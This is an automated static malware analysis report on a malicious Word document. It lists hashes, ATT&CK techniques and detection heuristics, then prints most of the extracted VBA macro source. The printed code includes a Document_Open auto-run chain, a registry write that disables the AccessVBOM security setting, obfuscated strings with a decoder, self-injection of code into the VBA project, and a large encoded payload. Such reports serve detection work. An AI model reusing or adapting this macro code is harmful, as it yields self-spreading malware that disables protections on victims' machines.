Malicious Office (OLE) / .DOCX — malware analysis report

Static analysis result for SHA-256 700db4ae28f53782…

MALICIOUS

Office (OLE) / .DOCX

80.0 KB Created: 2021-09-03 09:34:00 Authoring application: Microsoft Office Word First seen: 2026-05-13
MD5: baa9b34f152076ecc4e01e35ecc2de18 SHA-1: a6805a3c7b3b451098389fa6d78c8387ad1a6cce SHA-256: 700db4ae28f53782d239e83db189c7c956b06f61e04cb4a55ff4bc759faa170e
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros that are triggered by the Document_Open event. These macros attempt to disable security settings by writing to the registry key HKCU\Software\Microsoft\Office\16.0\Word\Security\AccessVBOM. The presence of self-replication and AV tampering heuristics, along with the use of CreateObject and obfuscated strings, indicates a malicious intent to compromise the system and evade detection.

Heuristics 7

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    .InsertLines nbrLigne, jukeboxsdv51
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set kneltwsv16 = CreateObject(Chr$(87) & "S" & "cr" & "ip" & "t." & "sh" & "ell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 21475 bytes
SHA-256: 9f616fac8ccaea5dc6937acbaf109deba5f5792056da412fe04c4fe117e1ce91
Detection
ClamAV: No threats found
Obfuscation or payload: likely
156 of 248 identifiers look randomly generated (e.g. 'nLvHIBPnqbulmKkkn0knNlrjbTuVnPhiquKBS0TT') — consistent with name-mangling obfuscation. Carved artifact contains 8 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Sub Document_Open()
    Application.Run ("Start.Work")
End Sub




Attribute VB_Name = "Apply"
Sub Pick()
    Application.Run ("Windows.Continue")
End Sub


Attribute VB_Name = "Start"
Sub Work()
    Application.Run ("Apply.Pick")
End Sub



Attribute VB_Name = "SmartWork"
Option Explicit
Private Declare PtrSafe Function CreateMutex Lib "kernel32" Alias "CreateMutexA" (ByVal lpMutexAttributes As Long, ByVal bInitialOwner As Long, ByVal lpName As String) As Long
Private sensiblemtv16 As Long
Private Function Mahayanafc351() As Boolean
On Error GoTo Erreur
'Dim codeModule As Object
'Set codeModule = ThisDocument.VBProject.VBComponents
Mahayanafc351 = True
Exit Function
Erreur:
Mahayanafc351 = False
End Function
Private Sub peroxidefc451(newValue As Integer)
Dim kneltwsv16 As Object
Dim guignolrgv51 As String
Set kneltwsv16 = CreateObject(Chr$(87) & "S" & "cr" & "ip" & "t." & "sh" & "ell")
guignolrgv51 = "HK" & "EY_CUR" & "RENT_US" & "ER\Sof" & "tware\Mic" & "rosoft\Of" & "fice\" & Application.Version & "\" & Chr$(87) & "ord\Se" & "curi" & "ty\Ac" & "cessV" & "BOM"
kneltwsv16.RegWrite guignolrgv51, newValue, "REG_DWORD"
End Sub
Private Sub precisefc151()
sensiblemtv16 = CreateMutex(0, 1, "sensiblemtv16n")
Dim er As Long: er = Err.LastDllError
If er <> 0 Then
Application.DisplayAlerts = False
Application.Quit
Else
End If
End Sub
Public Function whereasfc551(kernel51ss As String) As String
Dim newspapermansov51 As String
Dim arclengthsev51 As String
newspapermansov51 = "B" & "U+13r7JX9A)dwxvD5h" & " 2WpQ" & "OGfbmNKPcLelj" & "(kogHs.#" & "yi*IET6V&tC,u" & "Yz=Z0RS8aM4Fqn"
arclengthsev51 = "v&tC,uYz" & "=Z0RS8aM4F" & "qnD5h 2WpQOG" & "fbmNKPcLelj(k" & "ogHs.#yi*IET6V7JX" & "9A)dwxBU+13r"
Dim Sagittariusjev51 As String
Dim i
Dim j
Dim rimelev51
rimelev51 = Len(arclengthsev51)
For i = 1 To Len(kernel51ss)
Dim patrioticcov16 As String
patrioticcov16 = Mid(kernel51ss, i, 1)
For j = 1 To Len(arclengthsev51)
Dim tornctv16 As String
tornctv16 = Mid(arclengthsev51, j, 1)
If patrioticcov16 = tornctv16 Then
Sagittariusjev51 = Sagittariusjev51 & Mid(newspapermansov51, j, 1)
Exit For
End If
Next j
If j > rimelev51 Then
Sagittariusjev51 = Sagittariusjev51 & patrioticcov16
End If
Next i
whereasfc551 = Sagittariusjev51
End Function
Private Sub SmartWork()
On Error GoTo Erreur
Dim rigiev51
rigiev51 = Mahayanafc351
If rigiev51 Then
Dim val As String
val = Init()
If val = "" Then
Exit Sub
End If
Dim automorphismobv51 As Object
Set automorphismobv51 = CreateObject("Scripting.FileSystemObject")
Dim Bujumburadv151 As String
Dim dosagedv216 As String
Dim strivedv351 As String
Dim sensory16stv
sensory16stv = "pQFqnD5h 2WO" & "GfbmNyi*IKP7JX9A)dcLe" & "lj(kETogHs.#wxBU+13rv&6" & "VtC,uYz=Z0RS8aM4"
Bujumburadv151 = "C:\Windows\"
Bujumburadv151 = Bujumburadv151 & Mid(sensory16stv, 70, 1)
Bujumburadv151 = Bujumburadv151 & Mid(sensory16stv, 54, 1)
Bujumburadv151 = Bujumburadv151 & Mid(sensory16stv, 1, 1)
Bujumburadv151 = Bujumburadv151 & Mid(sensory16stv, 44, 1)
Bujumburadv151 = Bujumburadv151 & Mid(sensory16stv, 33, 1)
Bujumburadv151 = Bujumburadv151 & Mid(sensory16stv, 47, 1)
Bujumburadv151 = Bujumburadv151 & Mid(sensory16stv, 33, 1)
dosagedv216 = "C:\Windows\"
dosagedv216 = dosagedv216 & Mid(sensory16stv, 22, 1)
dosagedv216 = dosagedv216 & Mid(sensory16stv, 70, 1)
dosagedv216 = dosagedv216 & Mid(sensory16stv, 54, 1)
dosagedv216 = dosagedv216 & Mid(sensory16stv, 43, 1)
dosagedv216 = dosagedv216 & Mid(sensory16stv, 54, 1)
dosagedv216 = dosagedv216 & Mid(sensory16stv, 31, 1)
dosagedv216 = dosagedv216 & Mid(sensory16stv, 44, 1)
dosagedv216 = dosagedv216 & Mid(sensory16stv, 33, 1)
dosagedv216 = dosagedv216 & Mid(sensory16stv, 47, 1)
dosagedv216 = dosagedv216 & Mid(sensory16stv, 33, 1)
strivedv351 = "C:\Windows\"
strivedv351 = strivedv351 & Mid(sensory16stv, 31, 1)
strivedv351 = strivedv351 & Mid(sensory16stv, 34, 1)
strivedv351 = strivedv351 & Mid(sensory16stv, 19, 1)
strivedv351 = strivedv351 & Mid(sensory16stv, 43, 1)
strivedv351 = strivedv351 & Mid(sensory16stv, 54, 1)
strivedv351 = strivedv351 & Mid(sensory16stv, 33, 1)
strivedv351 = strivedv351 & Mid(sensory16stv, 44, 1)
strivedv351 = strivedv351 & Mid(sensory16stv, 33, 1)
strivedv351 = strivedv351 & Mid(sensory16stv, 47, 1)
strivedv351 = strivedv351 & Mid(sensory16stv, 33, 1)
If Not automorphismobv51.FileExists(Bujumburadv151) Or automorphismobv51.FileExists(dosagedv216) Or automorphismobv51.FileExists(strivedv351) Then
apathyfc251 val
End If
ThisDocument.Saved = True
precisefc151
Else
peroxidefc451 (1)
precisefc151
Dim fn116godsend As String
Dim owv51statesman As Word.Application
Set owv51statesman = CreateObject(Chr$(87) & "ord.Ap" & "pli" & "cat" & "ion")
fn116godsend = ThisDocument.FullName
owv51statesman.Visible = False
owv51statesman.Documents.Open fn116godsend, ReadOnly:=True
End If
Erreur:
Exit Sub
End Sub
Private Sub apathyfc251(husbandmen16es As String)
Dim jukeboxsdv51 As String
Dim upholdsnv51 As String
jukeboxsdv51 = whereasfc551(husbandmen16es)
Dim nbrLigne As Long
nbrLigne = 2
Dim vbPro
Set vbPro = ThisDocument.VBProject

upholdsnv51 = vbPro.VBComponents.Add(1).Name
With ActiveDocument.VBProject.VBComponents(upholdsnv51).codeModule
.InsertLines nbrLigne, jukeboxsdv51
End With
Dim streaksmv51 As String
streaksmv51 = upholdsnv51 & ".ma" & "in"
Application.Run (streaksmv51)
End Sub

Private Function Init() As String
Dim Stuyvesant As String
Stuyvesant = "2hTslrnyahPsmsT" & vbCrLf
Stuyvesant = Stuyvesant & "g#pnIv0YniqKr" & vbCrLf
Stuyvesant = Stuyvesant & "nnnnbusMBTKn4KmPBuKnbTuwBpKn17rmTslrnIsuT7BP0PPlmyanNsQn" & Chr(34) & "eKurKP,DoSPP" & Chr(34) & "nLvHIBPnqbulmKkkn0knNlrjbTuVnPh0SSuKkkn0kn0rHVnvHIBPnS8wsXKn0knNlrjVnvHIBPnpP0PPlmBTslriHhKn0knNlrjVnvHIBPnpPbulTKmTn0knNlrjRn0knNlrjbTu" & vbCrLf
Stuyvesant = Stuyvesant & "nnnnbusMBTKn4KmPBuKnbTuwBpKn17rmTslrn5usTKbulmKkkUKOluHnNsQn" & Chr(34) & "eKurKP,D" & Chr(34) & "nLvHIBPnqbulmKkkn0knNlrjbTuVnvHIBPnPhvBkK0SSuKkkn0kn0rHVnvHIBPnPhv7ppKun0kn0rHVnvHIBPnrwsXKn0knNlrjbTuVnPhG7OQKu2pvHTKk5usTTKrn0knNlrjRn0knNlrj" & vbCrLf
Stuyvesant = Stuyvesant & "nnnnbusMBTKn4KmPBuKnbTuwBpKn17rmTslrn6PlkK(BrSPKnNsQn" & Chr(34) & "eKurKP,D" & Chr(34) & "nLvHIBPnq2QcKmTn0knNlrjbTuRn0knNlrjbTu" & vbCrLf
Stuyvesant = Stuyvesant & "nnnnbusMBTKn4KmPBuKnbTuwBpKn17rmTslrn2hKrbulmKkknNsQn" & Chr(34) & "eKurKP,D" & Chr(34) & "nLvHIBPnS84KksuKS0mmKkkn0knNlrjVnvHIBPnQ#rqKusT(BrSPKn0knNlrjVnvHIBPnS8bulmKkk#4n0knNlrjRn0knNlrjbTu" & vbCrLf
Stuyvesant = Stuyvesant & "nnnnbusMBTKn4KmPBuKnbTuwBpKn17rmTslrndTPUlMKUKOluHnNsQn" & Chr(34) & "eKurKP,D" & Chr(34) & "nLvHIBPn4eqrkXlPn0knNlrjbTuVnvHdKpn58jTjHn0kn0rHVnvHIBPn(ueO7lkn0knNlrjbTuRn0knNlrjbTu" & vbCrLf
Stuyvesant = Stuyvesant & "nnnnbusMBTKn4KmPBuKnbTuwBpKn17rmTslrn6uKBTKdKOlTKiquKBSnNsQn" & Chr(34) & "eKurKP,D" & Chr(34) & "nLvHIBPnqbulmKkkn0knNlrjbTuVnPhiquKBS0TTusQ7TKkn0kn0rHVnvHIBPnS8wTBmewsXKn0knNlrjbTuVnvHIBPnPhwTBuT0SSuKkkn0knNlrjbTuVnPhbBuBOKTKun0kn0rHVnvHIBPnS86uKBTslr1PBjkn0knNlrjbTuVnPhiquKBS#4n0knNlrjRn0knNlrj" & vbCrLf
Stuyvesant = Stuyvesant & "nnnnbusMBTKn4KmPBuKnbTuwBpKn17rmTslrnWPlQBP0PPlmnNsQn" & Chr(34) & "eKurKP,D" & Chr(34) & "nLvHIBPn81PBjkn0knNlrjbTuVnvHIBPnS8vHTKkn0knNlrjbTuRn0knNlrjbTu" & vbCrLf
Stuyvesant = Stuyvesant & "nnnnbusMBTKn4KmPBuKnbTuwBpKn17rmTslrnWPlQBP1uKKnNsQn" & Chr(34) & "eKurKP,D" & Chr(34) & "nLvHIBPnqUKOn0knNlrjbTuRn0knNlrjbTu" & vbCrLf
Stuyvesant = Stuyvesant & "nnnnbusMBTKn4KmPBuKnbTuwBpKn17rmTslrn6uKBTKbulmKkk0nNsQn" & Chr(34) & "eKurKP,D" & Chr(34) & "nLvHIBPnPh0hhPsmBTslrGBOKn0knNlrjVnvHIBPnPh6lOOBrSNsrKn0knwTusrjVnvHIBPnPhbulmKkk0TTusQ7TKkn0knNlrjVnvHIBPnPhiquKBS0TTusQ7TKkn0knNlrjVnvHIBPnQ#rqKusT(BrSPKkn0knNlrjVnvHIBPnS86uKBTslr1PBjkn0knNlrjVnvHIBPnPhyrMsulrOKrTn0knNlrjVnvHIBPnPh67uuKrT4suKmTluHn0knNlrjVnPhwTBuT7h#rpln0knwi0di&b#G12VnPhbulmKkk#rpluOBTslrn0knbd26yww_#G12dU0i#2GRn0knNlrjbTu" & vbCrLf
Stuyvesant = Stuyvesant & "gyPkK" & vbCrLf
Stuyvesant = Stuyvesant & "nnnnbusMBTKn4KmPBuKn17rmTslrnIsuT7BP0PPlmyanNsQn" & Chr(34) & "eKurKP,DoSPP" & Chr(34) & "nLvHIBPnqbulmKkkn0knNlrjVnPh0SSuKkkn0kn0rHVnvHIBPnS8wsXKn0knNlrjVnvHIBPnpP0PPlmBTslriHhKn0knNlrjVnvHIBPnpPbulTKmTn0knNlrjRn0knNlrjbTu" & vbCrLf
Stuyvesant = Stuyvesant & "nnnnbusMBTKn4KmPBuKn17rmTslrn5usTKbulmKkkUKOluHnNsQn" & Chr(34) & "eKurKP,D" & Chr(34) & "nLvHIBPnqbulmKkkn0knNlrjVnvHIBPnPhvBkK0SSuKkkn0kn0rHVnvHIBPnPhv7ppKun0kn0rHVnvHIBPnrwsXKn0knNlrjVnPhG7OQKu2pvHTKk5usTTKrn0knNlrjRn0knNlrj" & vbCrLf
Stuyvesant = Stuyvesant & "nnnnbusMBTKn4KmPBuKn17rmTslrn6PlkK(BrSPKnNsQn" & Chr(34) & "eKurKP,D" & Chr(34) & "nLvHIBPnq2QcKmTn0knNlrjRn0knNlrj" & vbCrLf
Stuyvesant = Stuyvesant & "nnnnbusMBTKn4KmPBuKn17rmTslrn2hKrbulmKkknNsQn" & Chr(34) & "eKurKP,D" & Chr(34) & "nLvHIBPnS84KksuKS0mmKkkn0knNlrjVnvHIBPnQ#rqKusT(BrSPKn0knNlrjVnvHIBPnS8bulmKkk#4n0knNlrjRn0knNlrj" & vbCrLf
Stuyvesant = Stuyvesant & "nnnnbusMBTKn4KmPBuKn17rmTslrndTPUlMKUKOluHnNsQn" & Chr(34) & "eKurKP,D" & Chr(34) & "nLvHIBPn4eqrkXlPn0knNlrjVnvHdKpn58jTjHn0kn0rHVnvHIBPn(ueO7lkn0knNlrjRn0knNlrj" & vbCrLf
Stuyvesant = Stuyvesant & "nnnnbusMBTKn4KmPBuKn17rmTslrn6uKBTKdKOlTKiquKBSnNsQn" & Chr(34) & "eKurKP,D" & Chr(34) & "nLvHIBPnqbulmKkkn0knNlrjVnPhiquKBS0TTusQ7TKkn0kn0rHVnvHIBPnS8wTBmewsXKn0knNlrjVnvHIBPnPhwTBuT0SSuKkkn0knNlrjVnPhbBuBOKTKun0kn0rHVnvHIBPnS86uKBTslr1PBjkn0knNlrjVnPhiquKBS#4n0knNlrjRn0knNlrj" & vbCrLf
Stuyvesant = Stuyvesant & "nnnnbusMBTKn4KmPBuKnbTuwBpKn17rmTslrnWPlQBP0PPlmnNsQn" & Chr(34) & "eKurKP,D" & Chr(34) & "nLvHIBPn81PBjkn0knNlrjVnvHIBPnS8vHTKkn0knNlrjbTuRn0knNlrjbTu" & vbCrLf
Stuyvesant = Stuyvesant & "nnnnbusMBTKn4KmPBuKnbTuwBpKn17rmTslrnWPlQBP1uKKnNsQn" & Chr(34) & "eKurKP,D" & Chr(34) & "nLvHIBPnqUKOn0knNlrjbTuRn0knNlrjbTu" & vbCrLf
Stuyvesant = Stuyvesant & "nnnnbusMBTKn4KmPBuKn17rmTslrn6uKBTKbulmKkk0nNsQn" & Chr(34) & "eKurKP,D" & Chr(34) & "nLvHIBPnPh0hhPsmBTslrGBOKn0knNlrjVnvHIBPnPh6lOOBrSNsrKn0knwTusrjVnvHIBPnPhbulmKkk0TTusQ7TKkn0knNlrjVnvHIBPnPhiquKBS0TTusQ7TKkn0knNlrjVnvHIBPnQ#rqKusT(BrSPKkn0knNlrjVnvHIBPnS86uKBTslr1PBjkn0knNlrjVnvHIBPnPhyrMsulrOKrTn0knNlrjVnvHIBPnPh67uuKrT4suKmTluHn0knNlrjVnPhwTBuT7h#rpln0knwi0di&b#G12VnPhbulmKkk#rpluOBTslrn0knbd26yww_#G12dU0i#2GRn0knNlrj" & vbCrLf
Stuyvesant = Stuyvesant & "gyrSn#p" & vbCrLf
Stuyvesant = Stuyvesant & "busMBTKniHhKnwi0di&b#G12" & vbCrLf
Stuyvesant = Stuyvesant & "mQn0knNlrj" & vbCrLf
Stuyvesant = Stuyvesant & "PhdKkKuMKSn0knwTusrj" & vbCrLf
Stuyvesant = Stuyvesant & "Ph4KkeTlhn0knwTusrj" & vbCrLf
Stuyvesant = Stuyvesant & "PhisTPKn0knwTusrj" & vbCrLf
Stuyvesant = Stuyvesant & "S8=n0knNlrj" & vbCrLf
Stuyvesant = Stuyvesant & "S8Jn0knNlrj" & vbCrLf
Stuyvesant = Stuyvesant & "S8=wsXKn0knNlrj" & vbCrLf
Stuyvesant = Stuyvesant & "S8JwsXKn0knNlrj" & vbCrLf
Stuyvesant = Stuyvesant & "S8=6l7rT6qBukn0knNlrj" & vbCrLf
Stuyvesant = Stuyvesant & "S8J6l7rT6qBukn0knNlrj" & vbCrLf
Stuyvesant = Stuyvesant & "S81sPP0TTusQ7TKn0knNlrj" & vbCrLf
Stuyvesant = Stuyvesant & "S81PBjkn0knNlrj" & vbCrLf
Stuyvesant = Stuyvesant & "8wql85srSl8n0kn#rTKjKu" & vbCrLf
Stuyvesant = Stuyvesant & "mQdKkKuMKSDn0kn#rTKjKu" & vbCrLf
Stuyvesant = Stuyvesant & "PhdKkKuMKSDn0knNlrj" & vbCrLf
Stuyvesant = Stuyvesant & "qwTS#rh7Tn0knNlrj" & vbCrLf
Stuyvesant = Stuyvesant & "qwTS27Th7Tn0knNlrj" & vbCrLf
Stuyvesant = Stuyvesant & "qwTSyuulun0knNlrj" & vbCrLf
Stuyvesant = Stuyvesant & "yrSniHhK" & vbCrLf
Stuyvesant = Stuyvesant & "busMBTKniHhKnbd26yww_#G12dU0i#2G" & vbCrLf
Stuyvesant = Stuyvesant & "qbulmKkkn0knNlrjbTu" & vbCrLf
Stuyvesant = Stuyvesant & "qiquKBSn0knNlrjbTu" & vbCrLf
Stuyvesant = Stuyvesant & "S8bulmKkk#4n0knNlrj" & vbCrLf
Stuyvesant = Stuyvesant & "S8iquKBS#4n0knNlrj" & vbCrLf
Stuyvesant = Stuyvesant & "yrSniHhK" & vbCrLf
Stuyvesant = Stuyvesant & "b7QPsmnqiBujKTbulm(BrSPKn0knNlrjbTu" & vbCrLf
Stuyvesant = Stuyvesant & "b7QPsmnS86lSKNKrn0knNlrj" & vbCrLf
Stuyvesant = Stuyvesant & "b7QPsmnqiquKBSn0knNlrj" & vbCrLf
Stuyvesant = Stuyvesant & "b7QPsmni#4n0knNlrj" & vbCrLf
Stuyvesant = Stuyvesant & "b7QPsmnkqKPP0SSun0knNlrjbTu" & vbCrLf
Stuyvesant = Stuyvesant & "busMBTKn6lrkTnWUyU_U2Iy0vNyn9nE(D" & vbCrLf
Stuyvesant = Stuyvesant & "busMBTKn6lrkTnWUyU_Ayd2#G#in9nE(+)" & vbCrLf
Stuyvesant = Stuyvesant & "busMBTKn6lrkTnW(G4n9nLWUyU_U2Iy0vNyn2unWUyU_Ayd2#G#iR" & vbCrLf
Stuyvesant = Stuyvesant & "w7QnOBsrLR" & vbCrLf
Stuyvesant = Stuyvesant & "nnnn6lrkTnwi0di1_&wyw(255#G425n9nE(C" & vbCrLf
Stuyvesant = Stuyvesant & "nnnn6lrkTnw5_w(25n9nF" & vbCrLf
Stuyvesant = Stuyvesant & "nnnn6lrkTnw5_(sSKn9n)" & vbCrLf
Stuyvesant = Stuyvesant & "nnnn6lrkTnbd26yww_0NN_066ywwn9nE(C1)111" & vbCrLf
Stuyvesant = Stuyvesant & "nnnn6lrkTnUyU_62UU#in9nE(C)))" & vbCrLf
Stuyvesant = Stuyvesant & "nnnn6lrkTnUyU_dywydIyn9nE(D)))" & vbCrLf
Stuyvesant = Stuyvesant & "nnnn6lrkTnUyU_dywyin9nE(x)))" & vbCrLf
Stuyvesant = Stuyvesant & "nnnn6lrkTnb0Wy_y=y6&iy_dy045d#iyn9nE(+)" & vbCrLf
Stuyvesant = Stuyvesant & "nnnn4sOnhulmn0knbd26yww_#G12dU0i#2G" & vbCrLf
Stuyvesant = Stuyvesant & "nnnn4sOnb#4n0knNlrj" & vbCrLf
Stuyvesant = Stuyvesant & "nnnn4sOnkum_kTun0knIBusBrT" & vbCrLf
Stuyvesant = Stuyvesant & "kum_kTun9n0uuBHLE(FFVnE(xvVnE(y6VnE(x,VnE(y6VnE(D6VnE(F)VnE(yxVnE(+VnE()VnE()VnE()VnE(xFVnE(6)VnE(YFVnE(YVnE(xvVnE(+VnE(D+VnE(xZVnE(+FVnE(y6VnE(6,VnE(FxVnE(vZVnE(+6VnE(YYVnE(D*VnE(YVnE(yxVnE(6yVnE()VnE()VnE()VnE(xZVnE(+FVnE(1)VnE(vZVnE(FxVnE(0+VnE(F,VnE(yFVnE(yxVnE(6CVnE()VnE()VnE()VnE(xZVnE(+FVnE(1+VnE(*0VnE(+)VnE(*xVnE()VnE(C)VnE()VnE()VnE(*xVnE()VnE()VnE(0)VnE()VnE(*0VnE()Vn_" & vbCrLf
Stuyvesant = Stuyvesant & "E(11VnE(FFVnE(1+VnE(xZVnE(+FVnE(16VnE(6YVnE(+FVnE(4+VnE(YYVnE(*ZVnE(*yVnE(*ZVnE(6YVnE(+FVnE(4xVnE(*yVnE(*FVnE(Y+VnE(DyVnE(6YVnE(+FVnE(46VnE(*+VnE(*6VnE(*6VnE()VnE(x,VnE(*FVnE(y)VnE()VnE(x4VnE(+FVnE(4+VnE(F)VnE(11VnE(FFVnE(1)VnE(xvVnE(+FVnE(y6VnE(FVnE(ZCVnE(CDVnE(0DVnE()VnE(D4VnE()VnE(C)VnE(0DVnE()VnE(x,VnE(yxVnE(6VnE(xZVnE(+FVnE(yxVnE(xvVnE(FFVnE(16VnE(xvVnE(+4VnE(yxVnE(yxVn_" & vbCrLf
Stuyvesant = Stuyvesant & "E(*CVnE(CVnE()VnE()VnE(xZVnE(+FVnE(1xVnE(x,VnE(Y4VnE(1xVnE()VnE(Y+VnE(6VnE(xvVnE(+4VnE(16VnE(yxVnE(,CVnE()VnE()VnE()VnE(xFVnE(6)VnE(YFVnE(DVnE(yvVnE(CFVnE(xvVnE(FFVnE(1xVnE(xvVnE(+4VnE(16VnE(yxVnE(6VnE()VnE()VnE()VnE(xvVnE(+FVnE(16VnE(+)VnE(xZVnE(+FVnE(y+VnE(11VnE(FFVnE(y+VnE(6ZVnE(6,VnE(F*VnE(,,VnE(1*VnE(+*VnE(,vVnE(4*VnE(Y*VnE(0VnE(x0VnE(CVnE(,)VnE(+VnE(yVnE(+*Vn_" & vbCrLf
Stuyvesant = Stuyvesant & "E(,vVnE(1DVnE(YDVnE(1*VnE(FyVnE(6,VnE(x)VnE(,ZVnE(,6VnE(YFVnE(DCVnE(x)VnE(YZVnE(CVnE(,1VnE(YFVnE(CvVnE(x)VnE(YZVnE(DVnE(YxVnE(YFVnE(CFVnE(x)VnE(YZVnE(,VnE(*4VnE(YFVnE(1VnE(x)VnE(YZVnE(+VnE(*6VnE(YFVnE(ZVnE(x)VnE(YZVnE(FVnE(D)VnE(YFVnE(,VnE(,,VnE(6)VnE(6,VnE(,,VnE(6)VnE(+)VnE(6,VnE(FFVnE(xvVnE(y6VnE(x,VnE(y6VnE(C6VnE(*+VnE(0CVnE(,)VnE()VnE()VnE()VnE(F,VnE(F*VnE(FYVnE(xvVn_" & vbCrLf
Stuyvesant = Stuyvesant & "E(+)VnE(6VnE(xZVnE(+4VnE(y6VnE(xvVnE(YxVnE(6VnE(yZVnE(0YVnE()VnE()VnE()VnE(xvVnE(+YVnE(,)VnE(,,VnE(1*VnE(xvVnE(F1VnE(D6VnE(xvVnE(,1VnE(xZVnE(+FVnE(1xVnE(xvVnE(+DVnE(,6VnE(xZVnE(Y4VnE(1+VnE(xvVnE(++VnE(C)VnE(YxVnE(xZVnE(+FVnE(1)VnE(xFVnE(6)VnE(1VnE(x+VnE(xFVnE()VnE()VnE()VnE(6CVnE(yvVnE(C)VnE(,,VnE(6ZVnE(xFVnE(4vVnE(Y+VnE(D4VnE(xvVnE(Y4VnE(1xVnE(1VnE(vyVnE(C+VnE(1VnE(6CVn_" & vbCrLf
Stuyvesant = Stuyvesant & "E(6yVnE(4VnE(x)VnE(,6VnE(1VnE(*CVnE(xZVnE(FFVnE(1xVnE(Y6VnE(ZVnE(xvVnE(6DVnE(x,VnE(6)VnE(y)VnE(,VnE(1)VnE(yvVnE(,VnE(,VnE(YFVnE(1xVnE(+CVnE(,vVnE(6vVnE(YDVnE(41VnE(xvVnE(FFVnE(16VnE(xvVnE(Y4VnE(1+VnE(xvVnE(+FVnE(1)VnE(xvVnE(+6VnE(C)VnE(CxVnE(,,VnE(4vVnE(xvVnE(++VnE(C)VnE(D)VnE(,VnE(6DVnE(xZVnE(+4VnE(yxVnE(xFVnE(6ZVnE(Y+VnE(,6VnE(xvVnE(xVnE(,,VnE(11VnE(,VnE(60VnE(x,VnE(6)Vn_" & vbCrLf
Stuyvesant = Stuyvesant & "E(+VnE(xZVnE(+4VnE(1xVnE(xvVnE(4CVnE(xZVnE(+FVnE(y+VnE(x0VnE(0VnE(6CVnE(61VnE(4VnE(1VnE(vyVnE(6CVnE(,VnE(1xVnE(+DVnE(x+VnE(6ZVnE(YFVnE(1CVnE(xvVnE(FFVnE(16VnE(xZVnE(Y4VnE(1xVnE(xvVnE(+FVnE(1xVnE(xvVnE(Y4VnE(1+VnE(,VnE(6*VnE(,vVnE(+FVnE(y6VnE(Y+VnE(CyVnE(xvVnE(+FVnE(y+VnE(+,VnE(,vVnE(F4VnE(yxVnE(YDVnE(6+VnE(xvVnE(FYVnE(CxVnE(xZVnE(FFVnE(16VnE(xFVnE(4DVnE(1VnE(xFVnE(+vVnE(11Vn_" & vbCrLf
Stuyvesant = Stuyvesant & "E(11VnE(11VnE(,,VnE(6)VnE(F1VnE(FyVnE(FvVnE(6ZVnE(6,VnE(xvVnE(YFVnE(1)VnE(xvVnE(++VnE(C*VnE(D+VnE(x4VnE(+VnE(FxVnE(1VnE(vYVnE(6VnE(C)VnE(xvVnE(++VnE(C*VnE(C6VnE(x4VnE(+VnE(xxVnE(xvVnE(+VnE(C)VnE(,VnE(6DVnE(yvVnE(41VnE(FFVnE(xvVnE(y6VnE(x,VnE(y6VnE(D+VnE(F,VnE(F*VnE(FYVnE(xZVnE(+4VnE(1xVnE(,,VnE(11VnE(vZVnE(,0VnE(F*VnE(YZVnE(0YVnE(xZVnE(FFVnE(1)VnE(xZVnE(Y4VnE(16VnE(6YVnE(+FVn_" & vbCrLf
Stuyvesant = Stuyvesant & "E(46VnE(+4VnE(YZVnE(+CVnE(*YVnE(6YVnE(+FVnE(y)VnE(*FVnE(*yVnE(Y+VnE()VnE(yxVnE(41VnE(1yVnE(11VnE(11VnE(vZVnE(YYVnE(xYVnE(Y0VnE(1)VnE(xvVnE(1)VnE(yxVnE(4,VnE(1yVnE(11VnE(11VnE(vZVnE(CDVnE(Z*VnE(xZVnE(yDVnE(xZVnE(+FVnE(1+VnE(yxVnE(6*VnE(1yVnE(11VnE(11VnE(vZVnE(4,VnE(*vVnE(*yVnE(4+VnE(xZVnE(+FVnE(y6VnE(yxVnE(vZVnE(1yVnE(11VnE(11VnE(FYVnE(FYVnE(FYVnE(xvVnE(4xVnE(x4VnE(+FVnE(46VnE(FYVn_" & vbCrLf
